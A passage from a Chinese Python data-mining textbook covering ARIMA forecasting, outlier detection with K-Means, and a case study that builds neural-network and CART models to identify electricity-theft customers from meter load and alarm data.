    {"text": "代码清单5-7 ARIMA模型实现代码 #-*- coding: utf-8 -*- #arima 时序模型 import pandas as pd # 参数初始化 discfile = '../data/arima_data.xls' forecastnum = 5 # 读取数据，指定日期列为指标， Pandas 自动将“日期”列识别为 Datetime 格式 data = pd.read_excel(discfile, index_col = u' 日期 ') # 时序图 import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 data.plot() plt.show() # 自相关图 from statsmodels.graphics.tsaplots import plot_acf plot_acf(data).show() # 平稳性检测 from statsmodels.tsa.stattools import adfuller as ADF print(u' 原始序列的 ADF 检验结果为： ', ADF(data[u' 销量 '])) # 返回值依次为 adf 、 pvalue 、 usedlag 、 nobs 、 critical values 、 icbest 、 regresults 、 resstore # 差分后的结果 D_data = data.diff().dropna() D_data.columns = [u' 销量差分 '] D_data.plot() # 时序图 plt.show() plot_acf(D_data).show() # 自相关图 from statsmodels.graphics.tsaplots import plot_pacf plot_pacf(D_data).show() # 偏自相关图 print(u' 差分序列的 ADF 检验结果为： ', ADF(D_data[u' 销量差分 '])) # 平稳性检测 # 白噪声检验 from statsmodels.stats.diagnostic import acorr_ljungbox print(u' 差分序列的白噪声检验结果为： ', acorr_ljungbox(D_data, lags=1)) # 返回统计量和 p 值 from statsmodels.tsa.arima_model import ARIMA # 定阶 pmax = int(len(D_data)/10) # 一般阶数不超过 length/10 qmax = int(len(D_data)/10) # 一般阶数不超过 length/10 bic_matrix = [] #bic 矩阵 for p in range(pmax+1): tmp = [] for q in range(qmax+1): try: # 存在部分报错，所以用 try 来跳过报错。"},
    {"text": "tmp.append(ARIMA(data, (p,1,q)).fit().bic) except: tmp.append(None) bic_matrix.append(tmp) bic_matrix = pd.DataFrame(bic_matrix) # 从中可以找出最小值 p,q = bic_matrix.stack().idxmin() # 先用 stack 展平，然后用 idxmin 找出最小值位置。 print(u'BIC 最小的 p 值和 q 值为： %s 、 %s' %(p,q)) model = ARIMA(data, (p,1,q)).fit() # 建立 ARIMA(0, 1, 1) 模型 model.summary2() # 给出一份模型报告 model.forecast(5) # 作为期 5 天的预测，返回预测结果、标准误差、置信区间。"},
    {"text": "原始序列的 ADF 检验结果为： (1.8137710150945285, 0.99837594215142644, 10, 26, {'5%': -2.9812468047 337282, '10%': -2.6300945562130176, '1%': -3.7112123008648155}, 299.46989866024177) 差分序列的 ADF 检验结果为： (-3.1560562366723537, 0.022673435440048798, 0, 35, {'5%': -2.948510204 0816327, '10%': -2.6130173469387756, '1%': -3.6327426647230316}, 287.59090907803341) 差分序列的白噪声检验结果为： (array([ 11.30402222]), array([ 0.00077339])) BIC 最小的 p 值和 q 值为： 0 、 1 Results: ARIMA ==================================================================== Model: ARIMA Log-Likelihood: -205.88 Dependent Variable: D. 销量 Scale: 1.0000 Date: 2015-08-06 10:24 Method: css-mle No. Observations: 36 Sample: 01-02-2015 Df Model: 2 02-06-2015 Df Residuals: 34 S.D. of innovations: 73.086 AIC: 417.7595 HQIC: 419.418 BIC: 422.5101 ---------------------------------------------------------------------- Coef. Std.Err. t P>|t| [0.025 0.975] ---------------------------------------------------------------------- const 49.9560 20.1390 2.4806 0.0182 10.4843 89.4277 ma.L1.D. 销量 0.6710 0.1648 4.0712 0.0003 0.3480 0.9941 ----------------------------------------------------------------------------- Real Imaginary Modulus Frequency ----------------------------------------------------------------------------- MA.1 -1.4902 0.0000 1.4902 0.5000 (array([ 4873.96649322, 4923.9224731 , 4973.87845298, 5023.83443286, 5073.79041274]), array([ 73.08574266, 142.32680564, 187.54283091, 223.80283119, 254.95705731]), array([[ 4730.72106983, 5017.21191661], [ 4644.96706002, 5202.87788618], [ 4606.30125884, 5341.45564712], [ 4585.18894409, 5462.47992162], [ 4574.08376281, 5573.49706266]])) 5.4.5 Python主要时序模式算法 Python实现时序模式的主要库是StatsModels（当然，如果Pandas能做的，就可以利用Pandas先做），算法主要是ARIMA模型，在使用该模型进行建模时，需要进行一系列判别操作，主要包含平稳性检验、白噪声检验、是否差分、AIC和BIC指标值、模型定阶，最后再做预测。"},
    {"text": "表5-30 时序模式算法函数列表 （1）acf（） ·功能：计算自相关系数 ·使用格式： autocorr=acf（data，unbiased=False，nlags=40，qstat=False，fft=False，alpha=None） 输入参数data为观测值序列（即为时间序列，可以是DataFrame或Series），返回参数autocorr为观测值序列自相关函数。"},
    {"text": "（2）plot_acf（） ·功能：画自相关系数图 ·使用格式： p=plot_acf（data） 返回一个Matplotlib对象，可以用.show（）方法显示图像。 （3）acf（）/plot_acf（） ·功能：计算偏相关系数/画偏相关系数图 ·使用格式：使用跟acf（）/plot_acf（）类似，不再赘述。"},
    {"text": "（4）adfuller（） ·功能：对观测值序列进行单位根检验（ADF test） ·使用格式： h=adffuller（Series，maxlag=None，regression='c'，autolag='AIC'，store=False，regresults=False） 输入参数Series为一维观测值序列，返回值依次为adf、pvalue、usedlag、nobs、critical values、icbest、regresults、resstore。"},
    {"text": "（6）arima ·功能：设置时序模式的建模参数，创建ARIMA时序模型 ·使用格式： arima=ARIMA（data，（p，1，q））.fit（） data参数为输入的时间序列，p、q为对应的阶，d为差分次数。"},
    {"text": "（7）summary（）/summary2（） ·功能：生成已有模型的报告 ·使用格式： arima.summary（）/arima.summary2（） 其中，arima为已经建立好的ARIMA模型，返回一份格式化的模型报告，包含模型的系数、标准误差、p值、AIC和BIC等详细指标。 （8）aic/bic/hqic ·功能：计算ARIMA模型的AIC、BIC、HQIC指标值 ·使用格式： arima.aic/arima.bic/arima.hqic 其中，arima为已经建立好的ARIMA模型，返回值是Model时序模型得到的AIC、BIC和HQIC指标值。 （9）forecast（） ·功能：用得到的时序模型进行预测 ·使用格式： a，b，c=arima.forecast（num） 输入参数num为要预测的天数，arima为已经建立好的ARIMA模型。"},
    {"text": "（10）acorr_ljungbox（） ·功能：检测是否为白噪声序列 ·使用格式： acorr_ljungbox（data，lags=1）， 输入参数data为时间序列数据，lags为滞后数，返回统计量和p值。"},
    {"text": "（2）离群点的类型 对离群点的大致分类见表5-31。 表5-31 离群点的大致分类 图5-25 全局离群点和局部离群点 5.5.1 离群点检测方法 常用离群点检测方法 [14] 见表5-32。 表5-32 常用离群点检测方法 基于统计模型的离群点检测方法需要满足统计学原理，如果分布已知，则检验可能非常有效。 基于邻近度的离群点检测方法比统计学方法更一般、更容易使用，因为确定数据集有意义的邻近度量比确定它的统计分布更容易。 基于密度的离群点检测与基于邻近度的离群点检测密切相关，因为密度常用邻近度定义：一种是定义密度为到K个最邻近的平均距离的倒数，如果该距离小，则密度高；"},
    {"text": "图5-26 N（0，1）的概率密度函数 N（0，1）的数据对象出现在该分布的两边尾部的机会很小，因此可以用它作为检测数据对象是否是离群点的基础。"},
    {"text": "概率分布可以是任何分布，但是通常是多元正态的，因为这种类型的分布不难理解，容易从数学上进行处理，并且已经证明在许多情况下都能产生好的结果。"},
    {"text": "具体地讲，假定有K个分布和m个对象χ＝{x 1 ，x 2 ，…，x m }。 设第j个分布的参数为α j ，并设A是所有参数的集合，即A＝{α 1 ，α 2 ，…，α K }。 则P（x i |α j ）是第i个对象来自第j个分布的概率。 选取第j个分布产生一个对象的概率由权值w j （1≤j≤K）给定，其中权值（概率）受限于其和为1的约束，即 。 于是，对象x的概率由以下公式给出： 如果对象以独立的方式产生，则整个对象集的概率是每个个体对象x i 的概率的乘积，公式如下。"},
    {"text": "假设数据集U包含来自两个概率分布的数据对象：M是大多数（正常）数据对象的分布，而N是离群点对象的分布。 数据的总概率分布可以记作： U（x）=（1-λ）M（x）+λN（x）其中，x是一个数据对象；"},
    {"text": "这样，当一个数据对象移动到离群点集时，数据总似然的改变粗略地等于该数据对象在均匀分布下的概率（用λ加权）减去该数据对象在正常数据点的分布下的概率（用1-λ加权）。"},
    {"text": "对于基于原型的聚类，主要有两种方法评估对象属于簇的程度（离群点得分）：一是度量对象到簇原型的距离，并用它作为该对象的离群点得分； 二是考虑到簇具有不同的密度，可以度量簇到原型的相对距离，相对距离是点到质心的距离与簇中所有点到质心的距离的中位数之比。 如图5-28所示，如果选择聚类簇数K＝3，则对象A、B、C应分别属于距离它们最近的簇，但相对于簇内的其他对象，这3个点又分别远离各自的簇，所以有理由怀疑对象A、B、C是离群点。"},
    {"text": "聚类过程结束时还留在该集合中的点被分类为离群点（这种方法也不能保证产生最优解，甚至不比前面的简单算法好，在使用相对距离计算离群点得分时，这个问题特别严重）。"},
    {"text": "利用表5-14的数据进行聚类分析，并计算各个样本到各自聚类中心的距离，分析离群样本，得到如图5-29所示的距离误差图。 图5-29 离散点检测距离误差图 分析图5-29可以得到，如果距离阈值设置为2，那么所给的数据中有8个离散点，在聚类的时候这些数据应该剔除。"},
    {"text": "代码清单5-8 离散点检测 #-*- coding: utf-8 -*- # 使用 K-Means 算法聚类消费行为特征数据 import numpy as np import pandas as pd # 参数初始化 inputfile = '../data/consumption_data.xls' # 销量及其他属性数据 k = 3 # 聚类的类别 threshold = 2 # 离散点阈值 iteration = 500 # 聚类最大循环次数 data = pd.read_excel(inputfile, index_col = 'Id') # 读取数据 data_zs = 1.0*(data - data.mean())/data.std() # 数据标准化 from sklearn.cluster import KMeans model = KMeans(n_clusters = k, n_jobs = 4, max_iter = iteration) # 分为 k 类，并发数 4 model.fit(data_zs) # 开始聚类 # 标准化数据及其类别 r = pd.concat([data_zs, pd.Series(model.labels_, index = data.index)], axis = 1) # 每个样本对应的类别 r.columns = list(data.columns) + [u' 聚类类别 '] # 重命名表头 norm = [] for i in range(k): # 逐一处理 norm_tmp = r[['R', 'F', 'M']][r[u' 聚类类别 '] == i]-model.cluster_centers_[i] norm_tmp = norm_tmp.apply(np.linalg.norm, axis = 1) # 求出绝对距离 norm.append(norm_tmp/norm_tmp.median()) # 求相对距离并添加 norm = pd.concat(norm) # 合并 import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 norm[norm <= threshold].plot(style = 'go') # 正常点 discrete_points = norm[norm > threshold] # 离群点 discrete_points.plot(style = 'ro') for i in range(len(discrete_points)): # 离群点做标记 id = discrete_points.index[i] n = discrete_points.iloc[i] plt.annotate('(%s, %0.2f)'%(id, n), xy = (id, n), xytext = (id, n)) plt.xlabel(u' 编号 ') plt.ylabel(u' 相对距离 ') plt.show() 代码详见：示例程序/code/discrete_point_test.py"},
    {"text": "5.6 小结 本章主要根据数据挖掘的应用分类，重点介绍了对应的数据挖掘建模方法及实现过程。通过对本章的学习，可在以后的数据挖掘过程中采用适当的算法，并按所陈述的步骤实现综合应用，希望本章能给读者一些启发，思考如何改进或创造更好的挖掘算法。 归纳起来，数据挖掘技术的基本任务主要体现在分类与预测、聚类、关联规则、时序模式、离群点检测5个方面。5.1节主要介绍了决策树和人工神经网络两个分类模型、回归分析预测模型及其实现过程；5.2节主要介绍了K-Means聚类算法，建立分类方法按照接近程度对观测对象给出合理的分类并解释类与类之间的区别；5.3节主要介绍了Apriori算法，以在一个数据集中找出各项之间的关系；5.4节从序列的平稳性和非平稳型出发，在平稳时间序列中主要介绍了ARMA模型，在差分平稳序列中介绍了ARIMA模型，应用这两个模型对相应的时间序列进行研究，找寻变化发展的规律，预测将来的走势；5.5节主要介绍了基于模型和离群点的检测方法，是发现与大部分对象显著不同的对象。 前5章是数据挖掘必备的原理知识，为本书后面章节的案例理解和实验操作奠定了理论基础。 实战篇 ·第6章 电力窃漏电用户自动识别 ·第7章 航空公司客户价值分析 ·第8章 中医证型关联规则挖掘 ·第9章 基于水色图像的水质评价 ·第10章 家用电器用户行为分析与事件识别 ·第11章 应用系统负载分析与磁盘容量预测 ·第12章 电子商务网站用户行为分析及服务推荐 ·第13章 财政收入影响因素分析及预测模型 ·第14章 基于基站定位数据的商圈分析 ·第15章 电商产品评论数据情感分析 第6章 电力窃漏电用户自动识别 6.1 背景与挖掘目标 传统的防窃漏电方法主要通过定期巡检、定期校验电表、用户举报窃电等方法来发现窃电或计量装置故障。但这种方法对人的依赖性太强，抓窃查漏的目标不明确。目前，很多供电局主要通过营销稽查人员、用电检查人员和计量工作人员利用计量异常报警功能和电能量数据查询功能开展用户用电情况的在线监控工作，通过采集电量异常、负荷异常、终端报警、主站报警、线损异常等信息，建立数据分析模型，来实时监测窃漏电情况和发现计量装置的故障。根据报警事件发生前后客户计量点有关的电流、电压、负荷数据情况等，构建基于指标加权的用电异常分析模型，实现检查客户是否存在窃电、违章用电及计量装置故障等。 以上防窃漏电的诊断方法，虽然能获得用电异常的某些信息，但由于终端误报或漏报过多，无法达到真正快速精确定位窃漏电嫌疑用户的目的，往往令稽查工作人员无所适从。而且在采用这种方法建模时，模型各输入指标权重的确定需要用专家的知识和经验来判断，具有很大的主观性，存在明显的缺陷，所以实施效果往往不尽如人意。 现有的电力计量自动化系统能够采集到各相电流、电压、功率因数等用电负荷数据以及用电异常等终端报警信息。异常告警信息和用电负荷数据能够反映用户的用电情况，同时稽查工作人员也会通过在线稽查系统和现场稽查来找出窃漏电用户，并录入系统。若能通过这些数据信息提取出窃漏电用户的关键特征，构建窃漏电用户的识别模型，就能自动检查、判断用户是否存在窃漏电行为。 表6-1给出了某企业大用户的用电负荷数据，采集时间间隔为15分钟，即0.25小时，可进一步计算该大用户的用电量。 表6-1某企业大用户用电负荷数据 表6-2给出了该企业大用户的终端报警数据，其中与窃漏电相关的报警能较好的识别用户的窃漏电行为。表6-3给出了某企业大用户违约、窃电处理通知书，表中记录了用户的用电类别和窃电时间。 表6-2 某企业大用户终端报警信息 注：由于各方面原因，终端报警存在一定误报和漏报情况。 表6-3 某企业大用户违约、窃电处理通知书 本次数据挖掘建模目标如下。 1）归纳出窃漏电用户的关键特征，构建窃漏电用户的识别模型。 2）利用实时监测数据，调用窃漏电用户识别模型实现实时诊断。"},
    {"text": "6.2 分析方法与过程 窃漏电用户在电力计量自动化系统的监控大用户中只占一小部分，同时某些大用户也不可能存在窃漏电行为，如银行、税务、学校和工商等非居民类别，故在数据预处理时有必要将这些类别用户剔除。 系统中的用电负荷不能直接体现出用户的窃漏电行为，终端报警存在很多误报和漏报的情况，故需要进行数据探索和预处理，总结窃漏电用户的行为规律，再从数据中提炼出描述窃漏电用户的特征指标。 最后结合历史窃漏电用户信息，整理出识别模型的专家样本数据集，再进一步构建分类模型，实现窃漏电用户的自动识别。 窃漏电用户识别流程如图6-1所示，主要包括以下步骤。 图6-1 窃漏电用户识别流程 1）从电力计量自动化系统、营销系统有选择性地抽取部分大用户用电负荷、终端报警及违约窃电处罚信息等原始数据。 2）对样本数据探索分析，剔除不可能存在窃漏电行为行业的用户，即白名单用户，初步审视正常用户和窃漏电用户的用电特征。"},
    {"text": "6.2.1 数据抽取 与窃漏电相关的原始数据主要有用电负荷数据、终端报警数据、违约窃电处罚信息以及用户档案资料等，故进行窃漏电诊断建模时需从营销系统和计量自动化系统中抽取如下数据。"},
    {"text": "（1）从营销系统抽取的数据 1）用户基本信息：用户名称、用户编号、用电地址、用电类别、报装容量、计量方式、电流互感器变比、电压互感器变比。"},
    {"text": "（2）从计量自动化系统采集的数据属性 1）实时负荷：时间点、计量点、总有功功率、A/B/C相有功功率、A/B/C相电流、A/B/C相电压、A/B/C相功率因数。"},
    {"text": "为了尽可能全面覆盖各种窃漏电方式，建模样本要包含不同用电类别的所有窃漏电用户及部分正常用户。 窃漏电用户的窃漏电开始时间和结束时间是表征其窃漏电的关键时间节点，在这些时间节点上，用电负荷和终端报警等数据也会有一定的特征变化，故样本数据抽取时务必要包含关键时间节点前后一定范围的数据，并通过用户的负荷数据计算出当天的用电量，公式如下。"},
    {"text": "基于此，本案例抽取某市近5年来所有的窃漏电用户有关数据和不同用电类别正常用电用户共208个用户的有关数据，时间为2009年1月1日至2014年12月31日，同时包含每天是否有窃漏电情况的标识。"},
    {"text": "1.分布分析 对2009年1月1日至2014年12月31日共5年所有的窃漏用户进行分布分析，统计出各个用电类别的窃漏电用户分布情况，从图6-2可以发现非居民类别不存在窃漏电情况，故在接下来的分析中不考虑非居民类别的用电数据。 图6-2 用电类别窃漏电情况图 2.周期性分析 随机抽取一个正常用电用户和一个窃漏电用户，采用周期性分析对用电量进行探索。 （1）正常用电电量探索分析 正常用电量特征表现见图6-3和表6-4。 总体来看该用户用量比较平稳，没有太大的波动，这就是用户正常用电的电量指标特征。 图6-3 正常用电用户电量趋势图 表6-4 正常用电电量数据 （2）窃漏电用电电量探索分析 窃漏电用电量特征表现见图6-4和表6-5。 这里可以明显看出该用户用电量出现明显下降的趋势，这就是用户异常用电的电量指标特征。 图6-4 窃漏电用户电量趋势图 表6-5 窃漏电用电电量数据 分析结论：从图6-4看出，正常用电到窃漏电过程是用电量持续下降的过程，该用户从2014年9月1开始用电量下降，并且持续下降，这就是用户开始窃漏电时所表现出来的重要特征。"},
    {"text": "本案例采用拉格朗日插值法对缺失值进行插补。 选取数据中部分数据做为实例，如表6-6是三个用户一个月工作日的电量数据，对缺失值采用拉格朗日插值法进行插补。 表6-6 三个用户一个月工作日用电量数据 数据详见：demo/data/missing_data.xls 拉格朗日插值法补值，具体方法如下。"},
    {"text": "首先从原始数据集中确定因变量和自变量，取出缺失值前后5个数据（前后数据中遇到数据不存在或者为空的，直接将数据舍去，将仅有的数据组成一组），根据取出来的10个数据组成一组。"},
    {"text": "代码清单6-1 拉格朗日插值代码 #-*- coding: utf-8 -*- # 拉格朗日插值代码 import pandas as pd # 导入数据分析库 Pandas from scipy.interpolate import lagrange # 导入拉格朗日插值函数 inputfile = '../data/missing_data.xls' # 输入数据路径 , 需要使用 Excel 格式； outputfile = '../tmp/missing_data_processed.xls' # 输出数据路径 , 需要使用 Excel 格式 data = pd.read_excel(inputfile, header=None) # 读入数据 # 自定义列向量插值函数 #s 为列向量， n 为被插值的位置， k 为取前后的数据个数，默认为 5 def ployinterp_column(s, n, k=5): y = s[list(range(n-k, n)) + list(range(n+1, n+1+k))] # 取数 y = y[y.notnull()] # 剔除空值 return lagrange(y.index, list(y))(n) # 插值并返回插值结果 # 逐个元素判断是否需要插值 for i in data.columns: for j in range(len(data)): if (data[i].isnull())[j]: # 如果为空即插值。 data[i][j] = ployinterp_column(data[i], j) data.to_excel(outputfile, header=None, index=False) # 输出结果 代码详见：demo/code/Lagrange_interpolation.py 根据代码清单6-1补全的数据见表6-7，斜体加粗表示补全的数据。"},
    {"text": "表6-7 用户电量补全数据 3.数据变换 通过电力计量系统采集的电量、负荷，虽然在一定程度上能反映用户窃漏电行为的某些规律，但要作为构建模型的专家样本，特征不明显，需要进行重新构造。 基于数据变换，得到新的评价指标来表征窃漏电行为所具有的规律，其评价指标体系如图6-5所示。 图6-5 窃漏电评价指标体系 窃漏电评价指标如下。 （1）电量趋势下降指标 由6.2.2节的周期性分析可以发现，正常用户的用电量较为平稳，窃漏电用户的用电量呈现下降的趋势，然后趋于平缓，因此可考虑前后几天作为统计窗口期，考虑期间的下降趋势，利用电量做直线拟合得到的斜率作为衡量，如果斜率随时间不断下降，那该用户的窃漏电可能性就很大，如图6-6所示。"},
    {"text": "第一幅图展示了每天的用电量，其他图表示了随着时间推移在各自统计窗口期以用电量做直线拟合的斜率，可以看出斜率随着时间逐步下降。 图6-6 电量趋势下降示意图 对统计当天设定前后5天为统计窗口期，计算这11天内的电量趋势下降情况。 首先计算这11天中每天的电量趋势，其中第i天的用电量趋势是考虑前后5天期间的用电量斜率，即 其中 ，k i 为第i天的电量趋势，f l 为第l天的用电量。 若电量趋势为不断下降的，则认为具有一定的窃电嫌疑，故计算这11天内，当天比前一天用电量趋势为递减的天数，即设有 则这11天内的电量趋势下降指标为 （2）线损指标 线损率是用于衡量供电线路的损失比例，同时可结合线户拓扑关系（如图6-7）计算出用户所属线路在当天的线损率，一条线路上同时供给多个用户，若第l天的线路供电量为s l ，线路上各个用户的总用电量为 ，线路的线损率公式为 图6-7 线路与大用户的拓扑关系示意图 线路的线损率可作为用户线损率的参考值，若用户发生窃漏电，则当天的线损率会上升，但由于用户每天的用电量存在波动，单纯以当天线损率上升了作为窃漏电特征则误差过大，所以考虑前后几天的线损率平均值，判断其增长率是否大于1%，若线损率的增长率大于1%则具有窃漏电的可能性。 对统计当天设定前后5天为统计窗口期，首先分别统计当天与前5天之间的线损率平均值 和统计当天与后5天之间的线损率平均值 ，若 比 的增长率大于1%，则认为具有一定的窃电嫌疑，故定义线损指标 （3）告警类指标 与窃漏电相关的终端报警主要有电压缺相、电压断相、电流反极性等告警，计算发生与窃漏电相关的终端报警的次数总和，作为告警类指标。 6.2.4 构建专家样本 对2009年1月1日至2014年12月31日所有窃漏电用户及正常用户的电量、告警及线损数据和该用户在当天是否窃漏电的标识，按窃漏电评价指标进行处理并选取其中291个样本数据，得到专家样本库，部分数据如表6-8所示。 表6-8 专家样本数据 数据详见：demo/data/model.xls 6.2.5 模型构建 1.构建窃漏电用户识别模型 在专家样本准备完成后，需要划分测试样本和训练样本，随机选取20%作为测试样本，剩下的作为训练样本。 窃漏电用户识别可通过构建分类预测模型来实现，比较常用的分类预测模型有LM神经网络和CART决策树，各个模型都有各自的优点，故采用这两种方法构建窃漏电用户识别，并从中选择最优的分类模型。 构建LM神经网络和CART决策树模型时输入项包括电量趋势下降指标、线损类指标和告警类指标，输出项为窃漏电标识。"},
    {"text": "代码清单6-2 原始数据分为训练数据测试数据 #-*- coding: utf-8 -*- import pandas as pd # 导入数据分析库 from random import shuffle # 导入随机函数 shuffle ，用来打算数据 datafile = '../data/model.xls' # 数据名 data = pd.read_excel(datafile) # 读取数据，数据的前三列是特征，第四列是标签 data = data.as_matrix() # 将表格转换为矩阵 shuffle(data) # 随机打乱数据 p = 0.8 # 设置训练数据比例 train = data[:int(len(data)*p),:] # 前 80% 为训练集 test = data[int(len(data)*p):,:] # 后 20% 为测试集 （2）LM神经网络 使用Keras库为我们建立神经网络模型。"},
    {"text": "训练样本建模的混淆矩阵见图6-8，可以算得分类准确率为（161+58）/（161+58+6+7）＝94.4%，正常用户被误判为窃漏电用户占正常用户的7/（161+7）＝4.2%，窃漏电用户被误判为正常用户占正常窃漏电用户的6/（6+58）＝9.4%。"},
    {"text": "代码清单6-3 构建LM神经网络模型代码（接6-2） # 构建 LM 神经网络模型 from keras.models import Sequential # 导入神经网络初始化函数 from keras.layers.core import Dense, Activation # 导入神经网络层函数、激活函数 netfile = '../tmp/net.model' # 构建的神经网络模型存储路径 net = Sequential() # 建立神经网络 net.add(Dense(3, 10)) # 添加输入层（ 3 节点）到隐藏层（ 10 节点）的连接 net.add(Activation('relu')) # 隐藏层使用 relu 激活函数 net.add(Dense(10, 1)) # 添加隐藏层（ 10 节点）到输出层（ 1 节点）的连接 net.add(Activation('sigmoid')) # 输出层使用 sigmoid 激活函数 net.compile(loss = 'binary_crossentropy', optimizer = 'adam', class_mode = \"binary\") # 编译模型，使用 adam 方法求解 net.fit(train[:,:3], train[:,3], nb_epoch=1000, batch_size=1) # 训练模型，循环 1000 次 net.save_weights(netfile) # 保存模型 predict_result = net.predict_classes(train[:,:3]).reshape(len(train)) # 预测结果变形 ''' 这里要提醒的是， keras 用 predict 给出预测概率， predict_classes 才是给出预测类别，而且两者的 预测结果都是 n x 1 维数组，而不是通常的 1 x n''' from cm_plot import * # 导入自行编写的混淆矩阵可视化函数 cm_plot(train[:,3], predict_result).show() # 显示混淆矩阵可视化结果 代码详见：demo/code/lm_model.py 图6-8 利用训练样本构建LM神经网络的混淆矩阵 （3）CART决策树 通过Scikit-Lrean利用训练样本构建CART决策树模型，得到混淆矩阵如图6-9所示，分类准确率为（160+56）/（160+56+3+13）＝93.1%，正常用户被误判为窃漏电用户占正常用户的13/（13+160）＝7.5%，窃漏电用户被误判为正常用户占正常窃漏电用户的3/（3+56）＝5.1%。"},
    {"text": "代码清单6-4 构建CART决策树模型代码（接6-2） # 构建 CART 决策树模型 from sklearn.tree import DecisionTreeClassifier # 导入决策树模型 treefile = '../tmp/tree.pkl' # 模型输出名字 tree = DecisionTreeClassifier() # 建立决策树模型 tree.fit(train[:,:3],train[:,3]) # 训练 # 保存模型 from sklearn.externals import joblib joblib.dump(tree, treefile) from cm_plot import * # 导入自行编写的混淆矩阵可视化函数 cm_plot(train[:,3], tree.predict(train[:,:3])).show() # 显示混淆矩阵可视化结果 # 注意到 Scikit-Learn 使用 predict 方法直接给出预测结果。"},
    {"text": "为了进一步评估模型分类的性能，故利用测试样本对两个模型进行评价，采用ROC曲线评价方法进行评估，一个优秀分类器所对应的ROC曲线应该是尽量靠近左上角的。"},
    {"text": "图6-9 利用训练样本构建CART决策树的混淆矩阵 代码清单6-5 绘制决策树模型的ROC曲线（接6-3） from sklearn.metrics import roc_curve # 导入 ROC 曲线函数 predict_result = net.predict(test[:,:3]).reshape(len(test)) # 预测结果变形 fpr, tpr, thresholds = roc_curve(test[:,3], predict_result, pos_label=1) plt.plot(fpr, tpr, linewidth=2, label = 'ROC of LM') # 作出 ROC 曲线 plt.xlabel('False Positive Rate') # 坐标轴标签 plt.ylabel('True Positive Rate') # 坐标轴标签 plt.ylim(0,1.05) # 边界范围 plt.xlim(0,1.05) # 边界范围 plt.legend(loc=4) # 图例 plt.show() # 显示作图结果 代码详见：demo/code/lm_model.py 代码清单6-6 绘制决策树模型的ROC曲线（接6-4） from sklearn.metrics import roc_curve # 导入 ROC 曲线函数 fpr, tpr, thresholds = roc_curve(test[:,3], tree.predict_proba(test[:,:3])[:,1], pos_label=1) plt.plot(fpr, tpr, linewidth=2, label = 'ROC of CART') # 作出 ROC 曲线 plt.xlabel('False Positive Rate') # 坐标轴标签 plt.ylabel('True Positive Rate') # 坐标轴标签 plt.ylim(0,1.05) # 边界范围 plt.xlim(0,1.05) # 边界范围 plt.legend(loc=4) # 图例 plt.show() # 显示作图结果 代码详见：demo/code/dt_model.py 图6-10 LM神经网络在测试样本下的ROC曲线 图6-11 CART决策树在测试样本下的ROC曲线 经过对比发现LM神经网络的ROC曲线比CART决策树的ROC曲线更加靠近单位方形的左上角，LM神经网络ROC曲线下的面积更大，说明LM神经网络模型的分类性能较好，能应用于窃漏电用户识别。"},
    {"text": "3.进行窃漏电诊断 在线监测用户用电负荷及终端报警数据，并经过6.2.3节的处理，得到模型输入数据，利用构建好的窃漏电用户识别模型计算用户的窃漏电诊断结果，实现窃漏电用户实时诊断，并与实际稽查结果作对比，见表6-9。 可以发现，正确识别出窃漏电用户有10个，错误地判断用户为窃漏电用户有1个，诊断结果没发现窃漏电用户有4个，整体来看窃漏电诊断的准确率是比较高的。 下一步的工作是针对漏判的用户，研究其在窃漏电期间的用电行为，优化模型的特征，提高识别的准确率。 表6-9 窃漏电诊断结果与实际稽查结果作对比"},
    {"text": "6.3 上机实验 1.实验目的 ·掌握拉格朗日插值法进行缺失值处理的方法。 ·掌握LM神经网络和CART决策树构建分类模型的方法。 2.实验内容 ·用户的用电数据存在缺失值，数据见“test/data/missing_data.xls”，利用拉格朗日插值算法补全数据。 ·对所有窃漏电用户及正常用户的电量、告警及线损数据和该用户在当天是否窃漏电的标识，按窃漏电评价指标进行处理并选取其中291个样本数据，得到专家样本，数据见“test/data/model.xls”，分别使用LM神经网络和CART决策树实现分类预测模型，利用混淆矩阵和ROC曲线对模型进行评价。 注意 数据80%作为训练样本，剩下的20%作为测试样本。 3.实验方法与步骤 实验一 1）打开Python软件，把“test/data/missing_data.xls”数据放入当前工作目录。 2）使用Pandas把数据读入当前工作目录。 3）针对读入的数据的每一列，进行编程。编程主要参考第4章的拉格朗日插值算法，具体步骤如下。 ·针对每列数据的每一个缺失值，逐个进行补数（这样可以在连续两个缺失值的情况下，使用前面一个已经补数的值来再次补数后面的一个值）。 ·针对一个缺失值，构造参考组。选取前面5个作为前参考组，后面5个为后参考组。如果前参考组或后参考组不足5个，则按实际个数构造参考组。 ·确认缺失值在参考组中的相对位置，然后使用拉格朗日插值进行缺失值插值。 ·根据插值后的值更新原始数据中相应位置的值。 4）编写并运行程序后，查看插值补数的值是否和给定的参考值一致。 实验二 1）把经过预处理的专家样本数据“test/data/model.xls”数据放入当前工作目录，并使用Pandas读入当前工作空间。 2）把工作空间的建模数据随机分为两部分，一部分用于训练，一部分用于测试。 3）使用Scikit-Lrean库的sklearn.tree的DecisionTreeClassifier函数以及训练数据构建CART决策树模型，使用predict函数和构建的CART决策树模型分别对训练和测试数据进行分类，并与真实值进行对比，得到模型正确率，同时使用sklearn.metrics的confusion_matrix和roc_curve函数画混淆矩阵和ROC曲线图（参考本章代码）。 4）使用Keras库以及训练数据构建LM神经网络模型，使用predict函数和构建的神经网络模型分别对训练和测试数据进行分类，参考第3）步得到模型正确率、混淆矩阵和ROC曲线图。 5）对比分析CART决策树模型和LM神经网络模型针对专家样本数据处理结果的好坏。 4.思考与实验总结 1）在进行插值补数选取参考值时，为什么选择10个为一组？ 2）在Pandas中，Series对象自带了的缺失值补数方法.interpolate（），请尝试使用它，并将它和拉格朗日插值补数方法进行对比。 6.4 拓展思考 目前企业偷漏税现象泛滥，严重影响国家的经济基础。为了维护国家的权力与利益，应该加大对企业偷漏税行为的防范。如何用数据挖掘的思想，智能的识别企业偷漏税行为，有力地打击企业偷漏税的违法行为，维护国家的经济损失和社会秩序，是大家要研究的课题。 